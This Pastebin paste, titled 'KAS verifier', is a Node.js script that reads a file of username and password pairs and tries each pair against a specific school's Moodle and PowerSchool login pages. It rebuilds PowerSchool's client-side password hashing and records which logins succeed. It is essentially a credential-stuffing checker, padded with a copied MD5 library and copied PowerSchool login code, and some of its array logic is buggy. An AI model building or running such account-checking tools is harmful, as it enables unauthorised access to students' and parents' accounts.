seadog007

KAS verifier

Sep 23rd, 2014
307
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //==========================================Import==========================================
  2. var querystring = require("querystring");
  3.  
  4. var http = require("http");
  5.  
  6. var fs = require("fs"), filename = "account.txt", encode = "utf8";
  7.  
  8. var http = require("http");
  9.  
  10. //==========================================Main Function==========================================
  11. var all = [  ];
  12.  
  13. fs.readFile(filename, encode, function(err, file) {
  14.     if (err) {
  15.         console.log("檔案讀取錯誤。");
  16.     } else {
  17.         var username = [];
  18.         var password = [];
  19.         var temp = file.split("\n");
  20.         for (var k = temp.length - 1; k >= 0; k--) {
  21.             var temp2 = temp[k].split("∈");
  22.             username.push(temp2[0]);
  23.             password.push(temp2[1]);
  24.         }
  25.         //var all = [username.length][3];
  26.         for (var s = username.length - 1; s >= 0; s--) {
  27.             var usert = username[s];
  28.             var passt = password[s];
  29.             verifymoodle(usert, passt, s);
  30.             verifyps(usert, passt, s);
  31.             all[s, 0] = usert;
  32.             all[s, 1] = passt;
  33.             for (var i = all.length - 1; i >= 0; i--) {
  34.                 console.log(all[i]);
  35.             }
  36.         }
  37.     }
  38. });
  39.  
  40. //==========================================Moodle Verify==========================================
  41. function verifymoodle(u, p, s) {
  42.     var post_data = querystring.stringify({
  43.         username:u,
  44.         password:p
  45.     });
  46.     var post_options = {
  47.         host:"moodle.kas.tw",
  48.         port:"80",
  49.         path:"/login/index.php",
  50.         method:"POST",
  51.         headers:{
  52.             "Content-Type":"application/x-www-form-urlencoded",
  53.             "Content-Length":post_data.length
  54.         }
  55.     };
  56.     var post_req = http.request(post_options, function(res) {
  57.         res.setEncoding("utf8");
  58.         var data = "";
  59.         res.on("data", function(chunk) {
  60.             data += chunk;
  61.         });
  62.         res.on("end", function() {
  63.             var match = data.match(/testsession=\d\d\d/);
  64.             if (match !== null) {
  65.                 all[s, 2] = "MoodleS";
  66.             } else {
  67.                 all[s, 2] = "MoodleN";
  68.             }
  69.         });
  70.     });
  71.     post_req.write(post_data);
  72.     post_req.end();
  73. }
  74.  
  75. //==========================================PowerSchool Verify==========================================
  76. function verifyps(u, p, s) {
  77.     download("http://ps.kas.tw/public/home.html", function(data) {
  78.         if (data) {
  79.             var pstoken = get_pstoken(data);
  80.             var contextData = get_contextData(data);
  81.             var dbpw = psdbpwgen(p, contextData);
  82.             var pw = pspwgen(p, contextData);
  83.             //console.log(pstoken);
  84.             //console.log(contextData);
  85.             //console.log(dbpw);
  86.             //console.log(pw);
  87.             var post_data = querystring.stringify({
  88.                 pstoken:pstoken,
  89.                 contextData:contextData,
  90.                 dbpw:dbpw,
  91.                 returnUrl:"http://ps.kas.tw/guardian/home.html",
  92.                 serviceName:"PS Parent Portal",
  93.                 pcasServerUrl:"/",
  94.                 credentialType:"User Id and Password Credential",
  95.                 ldappassword:p,
  96.                 account:u,
  97.                 pw:pw,
  98.                 request_locale:"zh_TW"
  99.             });
  100.             var post_options = {
  101.                 host:"ps.kas.tw",
  102.                 port:"80",
  103.                 path:"/guardian/home.html",
  104.                 method:"POST",
  105.                 headers:{
  106.                     "Content-Type":"application/x-www-form-urlencoded",
  107.                     "Content-Length":post_data.length
  108.                 }
  109.             };
  110.             var post_req = http.request(post_options, function(res) {
  111.                 res.setEncoding("utf8");
  112.                 var data = "";
  113.                 res.on("data", function(chunk) {
  114.                     data += chunk;
  115.                 });
  116.                 res.on("end", function() {
  117.                     var match = data.match(/Document moved/);
  118.                     if (match !== null) {
  119.                         all[s, 3] = "PSS";
  120.                     } else {
  121.                         all[s, 3] = "PSN";
  122.                     }
  123.                 });
  124.             });
  125.             post_req.write(post_data);
  126.             post_req.end();
  127.         }
  128.     });
  129. }
  130.  
  131. //==========================================PowerSchool Function==========================================
  132. function get_pstoken(data) {
  133.     var re = /<input type="hidden" name="pstoken" value="(.+)" \/>/;
  134.     var m;
  135.     while ((m = re.exec(data)) != null) {
  136.         if (m.index === re.lastIndex) {
  137.             re.lastIndex++;
  138.         }
  139.         // View your result using the m-variable.
  140.         // eg m[0] etc.
  141.         return m[1];
  142.     }
  143. }
  144.  
  145. function get_contextData(data) {
  146.     var re = /<input type="hidden" name="contextData" value="(.+)" \/>/;
  147.     var m;
  148.     while ((m = re.exec(data)) != null) {
  149.         if (m.index === re.lastIndex) {
  150.             re.lastIndex++;
  151.         }
  152.         // View your result using the m-variable.
  153.         // eg m[0] etc.
  154.         return m[1];
  155.     }
  156. }
  157.  
  158. function psdbpwgen(opw, contextData) {
  159.     var dbpw = hex_hmac_md5(contextData, opw.toLowerCase());
  160.     return dbpw;
  161. }
  162.  
  163. function pspwgen(opw, contextData) {
  164.     var b64pw = b64_md5(opw);
  165.     var pw = hex_hmac_md5(contextData, b64pw);
  166.     return pw;
  167. }
  168.  
  169. function download(url, callback) {
  170.     http.get(url, function(res) {
  171.         var data = "";
  172.         res.on("data", function(chunk) {
  173.             data += chunk;
  174.         });
  175.         res.on("end", function() {
  176.             callback(data);
  177.         });
  178.     }).on("error", function() {
  179.         callback(null);
  180.     });
  181. }
  182.  
  183. //&list=RDtPzEpq1L5B4&index=27
  184. //==========================================MD5.js Function==========================================
  185. /*
  186.  * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
  187.  * Digest Algorithm, as defined in RFC 1321.
  188.  * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
  189.  * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
  190.  * Distributed under the BSD License
  191.  * See http://pajhome.org.uk/crypt/md5 for more info.
  192.  */
  193. /*
  194.  * Key populated on page.
  195.  */
  196. var pskey = null;
  197.  
  198. /*
  199.  * Configurable variables. You may need to tweak these to be compatible with
  200.  * the server-side, but the defaults work in most cases.
  201.  */
  202. var hexcase = 0;
  203.  
  204. /* hex output format. 0 - lowercase; 1 - uppercase        */
  205. var b64pad = "";
  206.  
  207. /* base-64 pad character. "=" for strict RFC compliance   */
  208. /*
  209.  * These are the functions you'll usually want to call
  210.  * They take string arguments and return either hex or base-64 encoded strings
  211.  */
  212. function hex_md5(s) {
  213.     return rstr2hex(rstr_md5(str2rstr_utf8(s)));
  214. }
  215.  
  216. function b64_md5(s) {
  217.     return rstr2b64(rstr_md5(str2rstr_utf8(s)));
  218. }
  219.  
  220. function any_md5(s, e) {
  221.     return rstr2any(rstr_md5(str2rstr_utf8(s)), e);
  222. }
  223.  
  224. function hex_hmac_md5(k, d) {
  225.     return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)));
  226. }
  227.  
  228. function b64_hmac_md5(k, d) {
  229.     return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)));
  230. }
  231.  
  232. function any_hmac_md5(k, d, e) {
  233.     return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e);
  234. }
  235.  
  236. /*
  237.  * Perform a simple self-test to see if the VM is working
  238.  */
  239. function md5_vm_test() {
  240.     return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
  241. }
  242.  
  243. /*
  244.  * Calculate the MD5 of a raw string
  245.  */
  246. function rstr_md5(s) {
  247.     return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
  248. }
  249.  
  250. /*
  251.  * Calculate the HMAC-MD5, of a key and some data (raw strings)
  252.  */
  253. function rstr_hmac_md5(key, data) {
  254.     var bkey = rstr2binl(key);
  255.     if (bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
  256.     var ipad = Array(16), opad = Array(16);
  257.     for (var i = 0; i < 16; i++) {
  258.         ipad[i] = bkey[i] ^ 909522486;
  259.         opad[i] = bkey[i] ^ 1549556828;
  260.     }
  261.     var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
  262.     return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
  263. }
  264.  
  265. /*
  266.  * Convert a raw string to a hex string
  267.  */
  268. function rstr2hex(input) {
  269.     try {
  270.         hexcase;
  271.     } catch (e) {
  272.         hexcase = 0;
  273.     }
  274.     var hex_tab = hexcase ? "0123456789ABCDEF" :"0123456789abcdef";
  275.     var output = "";
  276.     var x;
  277.     for (var i = 0; i < input.length; i++) {
  278.         x = input.charCodeAt(i);
  279.         output += hex_tab.charAt(x >>> 4 & 15) + hex_tab.charAt(x & 15);
  280.     }
  281.     return output;
  282. }
  283.  
  284. /*
  285.  * Convert a raw string to a base-64 string
  286.  */
  287. function rstr2b64(input) {
  288.     try {
  289.         b64pad;
  290.     } catch (e) {
  291.         b64pad = "";
  292.     }
  293.     var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  294.     var output = "";
  295.     var len = input.length;
  296.     for (var i = 0; i < len; i += 3) {
  297.         var triplet = input.charCodeAt(i) << 16 | (i + 1 < len ? input.charCodeAt(i + 1) << 8 :0) | (i + 2 < len ? input.charCodeAt(i + 2) :0);
  298.         for (var j = 0; j < 4; j++) {
  299.             if (i * 8 + j * 6 > input.length * 8) output += b64pad; else output += tab.charAt(triplet >>> 6 * (3 - j) & 63);
  300.         }
  301.     }
  302.     return output;
  303. }
  304.  
  305. /*
  306.  * Convert a raw string to an arbitrary string encoding
  307.  */
  308. function rstr2any(input, encoding) {
  309.     var divisor = encoding.length;
  310.     var i, j, q, x, quotient;
  311.     /* Convert to an array of 16-bit big-endian values, forming the dividend */
  312.     var dividend = Array(Math.ceil(input.length / 2));
  313.     for (i = 0; i < dividend.length; i++) {
  314.         dividend[i] = input.charCodeAt(i * 2) << 8 | input.charCodeAt(i * 2 + 1);
  315.     }
  316.     /*
  317.    * Repeatedly perform a long division. The binary array forms the dividend,
  318.    * the length of the encoding is the divisor. Once computed, the quotient
  319.    * forms the dividend for the next step. All remainders are stored for later
  320.    * use.
  321.    */
  322.     var full_length = Math.ceil(input.length * 8 / (Math.log(encoding.length) / Math.log(2)));
  323.     var remainders = Array(full_length);
  324.     for (j = 0; j < full_length; j++) {
  325.         quotient = Array();
  326.         x = 0;
  327.         for (i = 0; i < dividend.length; i++) {
  328.             x = (x << 16) + dividend[i];
  329.             q = Math.floor(x / divisor);
  330.             x -= q * divisor;
  331.             if (quotient.length > 0 || q > 0) quotient[quotient.length] = q;
  332.         }
  333.         remainders[j] = x;
  334.         dividend = quotient;
  335.     }
  336.     /* Convert the remainders to the output string */
  337.     var output = "";
  338.     for (i = remainders.length - 1; i >= 0; i--) output += encoding.charAt(remainders[i]);
  339.     return output;
  340. }
  341.  
  342. /*
  343.  * Encode a string as utf-8.
  344.  * For efficiency, this assumes the input is valid utf-16.
  345.  */
  346. function str2rstr_utf8(input) {
  347.     var output = "";
  348.     var i = -1;
  349.     var x, y;
  350.     while (++i < input.length) {
  351.         /* Decode utf-16 surrogate pairs */
  352.         x = input.charCodeAt(i);
  353.         y = i + 1 < input.length ? input.charCodeAt(i + 1) :0;
  354.         if (55296 <= x && x <= 56319 && 56320 <= y && y <= 57343) {
  355.             x = 65536 + ((x & 1023) << 10) + (y & 1023);
  356.             i++;
  357.         }
  358.         /* Encode output as utf-8 */
  359.         if (x <= 127) output += String.fromCharCode(x); else if (x <= 2047) output += String.fromCharCode(192 | x >>> 6 & 31, 128 | x & 63); else if (x <= 65535) output += String.fromCharCode(224 | x >>> 12 & 15, 128 | x >>> 6 & 63, 128 | x & 63); else if (x <= 2097151) output += String.fromCharCode(240 | x >>> 18 & 7, 128 | x >>> 12 & 63, 128 | x >>> 6 & 63, 128 | x & 63);
  360.     }
  361.     return output;
  362. }
  363.  
  364. /*
  365.  * Encode a string as utf-16
  366.  */
  367. function str2rstr_utf16le(input) {
  368.     var output = "";
  369.     for (var i = 0; i < input.length; i++) output += String.fromCharCode(input.charCodeAt(i) & 255, input.charCodeAt(i) >>> 8 & 255);
  370.     return output;
  371. }
  372.  
  373. function str2rstr_utf16be(input) {
  374.     var output = "";
  375.     for (var i = 0; i < input.length; i++) output += String.fromCharCode(input.charCodeAt(i) >>> 8 & 255, input.charCodeAt(i) & 255);
  376.     return output;
  377. }
  378.  
  379. /*
  380.  * Convert a raw string to an array of little-endian words
  381.  * Characters >255 have their high-byte silently ignored.
  382.  */
  383. function rstr2binl(input) {
  384.     var output = Array(input.length >> 2);
  385.     for (var i = 0; i < output.length; i++) output[i] = 0;
  386.     for (var i = 0; i < input.length * 8; i += 8) output[i >> 5] |= (input.charCodeAt(i / 8) & 255) << i % 32;
  387.     return output;
  388. }
  389.  
  390. /*
  391.  * Convert an array of little-endian words to a string
  392.  */
  393. function binl2rstr(input) {
  394.     var output = "";
  395.     for (var i = 0; i < input.length * 32; i += 8) output += String.fromCharCode(input[i >> 5] >>> i % 32 & 255);
  396.     return output;
  397. }
  398.  
  399. /*
  400.  * Calculate the MD5 of an array of little-endian words, and a bit length.
  401.  */
  402. function binl_md5(x, len) {
  403.     /* append padding */
  404.     x[len >> 5] |= 128 << len % 32;
  405.     x[(len + 64 >>> 9 << 4) + 14] = len;
  406.     var a = 1732584193;
  407.     var b = -271733879;
  408.     var c = -1732584194;
  409.     var d = 271733878;
  410.     for (var i = 0; i < x.length; i += 16) {
  411.         var olda = a;
  412.         var oldb = b;
  413.         var oldc = c;
  414.         var oldd = d;
  415.         a = md5_ff(a, b, c, d, x[i + 0], 7, -680876936);
  416.         d = md5_ff(d, a, b, c, x[i + 1], 12, -389564586);
  417.         c = md5_ff(c, d, a, b, x[i + 2], 17, 606105819);
  418.         b = md5_ff(b, c, d, a, x[i + 3], 22, -1044525330);
  419.         a = md5_ff(a, b, c, d, x[i + 4], 7, -176418897);
  420.         d = md5_ff(d, a, b, c, x[i + 5], 12, 1200080426);
  421.         c = md5_ff(c, d, a, b, x[i + 6], 17, -1473231341);
  422.         b = md5_ff(b, c, d, a, x[i + 7], 22, -45705983);
  423.         a = md5_ff(a, b, c, d, x[i + 8], 7, 1770035416);
  424.         d = md5_ff(d, a, b, c, x[i + 9], 12, -1958414417);
  425.         c = md5_ff(c, d, a, b, x[i + 10], 17, -42063);
  426.         b = md5_ff(b, c, d, a, x[i + 11], 22, -1990404162);
  427.         a = md5_ff(a, b, c, d, x[i + 12], 7, 1804603682);
  428.         d = md5_ff(d, a, b, c, x[i + 13], 12, -40341101);
  429.         c = md5_ff(c, d, a, b, x[i + 14], 17, -1502002290);
  430.         b = md5_ff(b, c, d, a, x[i + 15], 22, 1236535329);
  431.         a = md5_gg(a, b, c, d, x[i + 1], 5, -165796510);
  432.         d = md5_gg(d, a, b, c, x[i + 6], 9, -1069501632);
  433.         c = md5_gg(c, d, a, b, x[i + 11], 14, 643717713);
  434.         b = md5_gg(b, c, d, a, x[i + 0], 20, -373897302);
  435.         a = md5_gg(a, b, c, d, x[i + 5], 5, -701558691);
  436.         d = md5_gg(d, a, b, c, x[i + 10], 9, 38016083);
  437.         c = md5_gg(c, d, a, b, x[i + 15], 14, -660478335);
  438.         b = md5_gg(b, c, d, a, x[i + 4], 20, -405537848);
  439.         a = md5_gg(a, b, c, d, x[i + 9], 5, 568446438);
  440.         d = md5_gg(d, a, b, c, x[i + 14], 9, -1019803690);
  441.         c = md5_gg(c, d, a, b, x[i + 3], 14, -187363961);
  442.         b = md5_gg(b, c, d, a, x[i + 8], 20, 1163531501);
  443.         a = md5_gg(a, b, c, d, x[i + 13], 5, -1444681467);
  444.         d = md5_gg(d, a, b, c, x[i + 2], 9, -51403784);
  445.         c = md5_gg(c, d, a, b, x[i + 7], 14, 1735328473);
  446.         b = md5_gg(b, c, d, a, x[i + 12], 20, -1926607734);
  447.         a = md5_hh(a, b, c, d, x[i + 5], 4, -378558);
  448.         d = md5_hh(d, a, b, c, x[i + 8], 11, -2022574463);
  449.         c = md5_hh(c, d, a, b, x[i + 11], 16, 1839030562);
  450.         b = md5_hh(b, c, d, a, x[i + 14], 23, -35309556);
  451.         a = md5_hh(a, b, c, d, x[i + 1], 4, -1530992060);
  452.         d = md5_hh(d, a, b, c, x[i + 4], 11, 1272893353);
  453.         c = md5_hh(c, d, a, b, x[i + 7], 16, -155497632);
  454.         b = md5_hh(b, c, d, a, x[i + 10], 23, -1094730640);
  455.         a = md5_hh(a, b, c, d, x[i + 13], 4, 681279174);
  456.         d = md5_hh(d, a, b, c, x[i + 0], 11, -358537222);
  457.         c = md5_hh(c, d, a, b, x[i + 3], 16, -722521979);
  458.         b = md5_hh(b, c, d, a, x[i + 6], 23, 76029189);
  459.         a = md5_hh(a, b, c, d, x[i + 9], 4, -640364487);
  460.         d = md5_hh(d, a, b, c, x[i + 12], 11, -421815835);
  461.         c = md5_hh(c, d, a, b, x[i + 15], 16, 530742520);
  462.         b = md5_hh(b, c, d, a, x[i + 2], 23, -995338651);
  463.         a = md5_ii(a, b, c, d, x[i + 0], 6, -198630844);
  464.         d = md5_ii(d, a, b, c, x[i + 7], 10, 1126891415);
  465.         c = md5_ii(c, d, a, b, x[i + 14], 15, -1416354905);
  466.         b = md5_ii(b, c, d, a, x[i + 5], 21, -57434055);
  467.         a = md5_ii(a, b, c, d, x[i + 12], 6, 1700485571);
  468.         d = md5_ii(d, a, b, c, x[i + 3], 10, -1894986606);
  469.         c = md5_ii(c, d, a, b, x[i + 10], 15, -1051523);
  470.         b = md5_ii(b, c, d, a, x[i + 1], 21, -2054922799);
  471.         a = md5_ii(a, b, c, d, x[i + 8], 6, 1873313359);
  472.         d = md5_ii(d, a, b, c, x[i + 15], 10, -30611744);
  473.         c = md5_ii(c, d, a, b, x[i + 6], 15, -1560198380);
  474.         b = md5_ii(b, c, d, a, x[i + 13], 21, 1309151649);
  475.         a = md5_ii(a, b, c, d, x[i + 4], 6, -145523070);
  476.         d = md5_ii(d, a, b, c, x[i + 11], 10, -1120210379);
  477.         c = md5_ii(c, d, a, b, x[i + 2], 15, 718787259);
  478.         b = md5_ii(b, c, d, a, x[i + 9], 21, -343485551);
  479.         a = safe_add(a, olda);
  480.         b = safe_add(b, oldb);
  481.         c = safe_add(c, oldc);
  482.         d = safe_add(d, oldd);
  483.     }
  484.     return Array(a, b, c, d);
  485. }
  486.  
  487. /*
  488.  * These functions implement the four basic operations the algorithm uses.
  489.  */
  490. function md5_cmn(q, a, b, x, s, t) {
  491.     return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b);
  492. }
  493.  
  494. function md5_ff(a, b, c, d, x, s, t) {
  495.     return md5_cmn(b & c | ~b & d, a, b, x, s, t);
  496. }
  497.  
  498. function md5_gg(a, b, c, d, x, s, t) {
  499.     return md5_cmn(b & d | c & ~d, a, b, x, s, t);
  500. }
  501.  
  502. function md5_hh(a, b, c, d, x, s, t) {
  503.     return md5_cmn(b ^ c ^ d, a, b, x, s, t);
  504. }
  505.  
  506. function md5_ii(a, b, c, d, x, s, t) {
  507.     return md5_cmn(c ^ (b | ~d), a, b, x, s, t);
  508. }
  509.  
  510. /*
  511.  * Add integers, wrapping at 2^32. This uses 16-bit operations internally
  512.  * to work around bugs in some JS interpreters.
  513.  */
  514. function safe_add(x, y) {
  515.     var lsw = (x & 65535) + (y & 65535);
  516.     var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
  517.     return msw << 16 | lsw & 65535;
  518. }
  519.  
  520. /*
  521.  * Bitwise rotate a 32-bit number to the left.
  522.  */
  523. function bit_rol(num, cnt) {
  524.     return num << cnt | num >>> 32 - cnt;
  525. }
  526.  
  527. function doAdminLogin(form) {
  528.     //deleteCookie("psaid");
  529.     var pw = form.password.value;
  530.     var i = pw.indexOf(";");
  531.     if (i < 0) {
  532.         form.username.value = pw;
  533.         form.password.value = "";
  534.     } else {
  535.         form.username.value = pw.substring(0, i);
  536.         pw = pw.substring(i + 1);
  537.         // Get the password
  538.         pw2 = pw;
  539.         pw = b64_md5(pw);
  540.         // Added in move to pcas
  541.         form.password.value = hex_hmac_md5(pskey, pw);
  542.         if (form.ldappassword != null) {
  543.             // LDAP is enabled, so send the clear-text password
  544.             // Customers should have SSL enabled if they are using LDAP
  545.             form.ldappassword.value = pw2;
  546.         }
  547.     }
  548.     return true;
  549. }
  550.  
  551. function doTeacherLogin(form) {
  552.     var pw = form.password.value;
  553.     var pw2 = pw;
  554.     // Keep a raw version for ldap
  555.     //pw = pw.toLowerCase();      eliminated with move to pcas
  556.     pw = b64_md5(pw);
  557.     // Added in move to pcas
  558.     form.password.value = hex_hmac_md5(pskey, pw);
  559.     if (form.ldappassword != null) {
  560.         // LDAP is enabled, so send the clear-text password
  561.         // Customers should have SSL enabled if they are using LDAP
  562.         form.ldappassword.value = pw2;
  563.     }
  564.     // Translator Login
  565.     var translatorpw = form.translatorpw.value;
  566.     var i = translatorpw.indexOf(";");
  567.     if (i < 0) {
  568.         form.translator_username.value = translatorpw;
  569.         form.translator_password.value = "";
  570.     } else {
  571.         form.translator_username.value = translatorpw.substring(0, i);
  572.         translatorpw = translatorpw.substring(i + 1);
  573.         // Get the password
  574.         translatorpw2 = translatorpw;
  575.         translatorpw = b64_md5(translatorpw);
  576.         // Added in move to pcas
  577.         form.translator_password.value = hex_hmac_md5(pskey, translatorpw);
  578.         if (form.translator_ldappassword != null) {
  579.             // LDAP is enabled, so send the clear-text password
  580.             // Customers should have SSL enabled if they are using LDAP
  581.             form.translator_ldappassword.value = translatorpw2;
  582.         }
  583.     }
  584.     return true;
  585. }
  586.  
  587. function doPCASLogin(form) {
  588.     var originalpw = form.pw.value;
  589.     var b64pw = b64_md5(originalpw);
  590.     var hmac_md5pw = hex_hmac_md5(pskey, b64pw);
  591.     form.pw.value = hmac_md5pw;
  592.     form.dbpw.value = hex_hmac_md5(pskey, originalpw.toLowerCase());
  593.     if (form.ldappassword != null) {
  594.         // LDAP is enabled, so send the clear-text password
  595.         // Customers should have SSL enabled if they are using LDAP
  596.         form.ldappassword.value = originalpw;
  597.     }
  598.     // Translator Login
  599.     var translatorpw = form.translatorpw.value;
  600.     var i = translatorpw.indexOf(";");
  601.     if (i < 0) {
  602.         form.translator_username.value = translatorpw;
  603.         form.translator_password.value = "";
  604.     } else {
  605.         form.translator_username.value = translatorpw.substring(0, i);
  606.         translatorpw = translatorpw.substring(i + 1);
  607.         // Get the password
  608.         translatorpw2 = translatorpw;
  609.         translatorpw = b64_md5(translatorpw);
  610.         // Added in move to pcas
  611.         form.translator_password.value = hex_hmac_md5(pskey, translatorpw);
  612.         if (form.translator_ldappassword != null) {
  613.             // LDAP is enabled, so send the clear-text password
  614.             // Customers should have SSL enabled if they are using LDAP
  615.             form.translator_ldappassword.value = translatorpw2;
  616.         }
  617.     }
  618.     return true;
  619. }
  620.  
  621. function encryptMultipleStudentsAccesPasswords(form) {
  622.     form.pstoken.value = pstoken;
  623.     // Encrypt guardian password
  624.     encryptGuardianPassword(form);
  625.     // Encrypt student access password
  626.     var i = 0;
  627.     var pw = document.getElementById("studentInfo[" + i + "].accessPassword");
  628.     while (pw != undefined) {
  629.         pw = document.getElementById("studentInfo[" + i + "].accessPassword");
  630.         if (pw.value != undefined && trim(pw.value) != "") {
  631.             //Store the unencrypted password to a temporary value for debugging
  632.             var unEncryptedPassword = pw.value;
  633.             var pw2 = b64_md5(pw.value);
  634.             pw.value = hex_hmac_md5(pskey, pw2);
  635.         }
  636.         i++;
  637.     }
  638.     return true;
  639. }
  640.  
  641. function encryptSingleStudentAccesPassword(form) {
  642.     //alert("encryptSingleStudentAccesPassword");
  643.     var pw = document.getElementById("studentInfoToAdd.accessPassword");
  644.     //alert("pstoken: " + form.pstoken.value);
  645.     // alert("pskey: " + form.pskey.value);
  646.     if (pw != undefined && trim(pw.value) != "") {
  647.         var unEncryptedPassword = pw.value;
  648.         var pw2 = b64_md5(pw.value);
  649.         pw.value = hex_hmac_md5(form.pskey.value, pw2);
  650.         form.pskey.value = "";
  651.     }
  652.     return true;
  653. }
  654.  
  655. function encryptGuardianPassword(form) {
  656.     var myPsKey;
  657.     var formHasKey = false;
  658.     if (pskey == undefined || pskey == null) {
  659.         if (form == undefined || form.pskey == undefined || form.pskey.value == undefined) {
  660.             return false;
  661.         } else {
  662.             myPsKey = form.pskey.value;
  663.             formHasKey = true;
  664.         }
  665.     } else {
  666.         myPsKey = pskey;
  667.     }
  668.     if (myPsKey.length < 32) {
  669.         return false;
  670.     }
  671.     // Encrypt guardian password
  672.     var pskeyArray = hexToByteArray(myPsKey.substring(0, 32));
  673.     var gpw1 = document.getElementById("myForm_accountInfo_password");
  674.     if (gpw1 != undefined) {
  675.         var gpw1Value = gpw1.value;
  676.         if (gpw1Value != undefined && gpw1Value.length > 0) {
  677.             //alert("gpw1: " + gpw1.value);
  678.             var encryptedArray1 = rijndaelEncrypt(str2rstr_utf8(gpw1Value), pskeyArray, "ECB");
  679.             //alert("encryptedArray1: " + encryptedArray1);
  680.             gpw1.value = byteArrayToHex(encryptedArray1);
  681.         }
  682.     }
  683.     // Encrypt guardian's new password
  684.     var gpw2 = document.getElementById("editedPassword");
  685.     if (gpw2 != undefined) {
  686.         var gpw2Value = gpw2.value;
  687.         if (gpw2Value != undefined && gpw2Value.length > 0) {
  688.             //alert("gpw2: " + gpw2.value);
  689.             var encryptedArray2 = rijndaelEncrypt(str2rstr_utf8(gpw2Value), pskeyArray, "ECB");
  690.             gpw2.value = byteArrayToHex(encryptedArray2);
  691.         }
  692.     }
  693.     // Encrypt guardian's re-entered password
  694.     var gpw3 = document.getElementById("passwordConfirm");
  695.     if (gpw3 != undefined) {
  696.         var gpw3Value = gpw3.value;
  697.         if (gpw3Value != undefined && gpw3Value.length > 0) {
  698.             //alert("gpw3: " + gpw3.value);
  699.             var encryptedArray3 = rijndaelEncrypt(str2rstr_utf8(gpw3Value), pskeyArray, "ECB");
  700.             gpw3.value = byteArrayToHex(encryptedArray3);
  701.         }
  702.     }
  703.     if (formHasKey) {
  704.         form.pskey.value = "";
  705.     }
  706.     return true;
  707. }
  708.  
  709. function doChangePassword(form) {
  710.     //form.action = form.pcasServerUrl.value;
  711.     if (form.ldappassword != null) {
  712.         // LDAP is enabled, so send the clear-text password
  713.         // Customers should have SSL enabled if they are using LDAP
  714.         form.ldappassword.value = pw2;
  715.     }
  716.     return true;
  717. }
  718.  
  719. function getCookie(name) {
  720.     var dc = document.cookie;
  721.     //alert("cookie=" + dc);
  722.     var prefix = name + "=";
  723.     var begin = dc.indexOf("; " + prefix);
  724.     if (begin == -1) {
  725.         begin = dc.indexOf(prefix);
  726.         if (begin != 0) return null;
  727.     } else begin += 2;
  728.     var end = document.cookie.indexOf(";", begin);
  729.     if (end == -1) end = dc.length;
  730.     var retval = unescape(dc.substring(begin + prefix.length, end));
  731.     //alert("retval=" + retval);
  732.     return retval;
  733. }
  734.  
  735. function deleteCookie(name) {
  736.     if (getCookie(name)) {
  737.         document.cookie = "psaid=<-A-><-E->; expires=Thu, 01-Jan-70 00:00:00 GMT";
  738.     }
  739. }
  740.  
  741. function trim(stringToTrim) {
  742.     return stringToTrim.replace(/^\s+|\s+$/g, "");
  743. }
Advertisement
Add Comment
Please, Sign In to add comment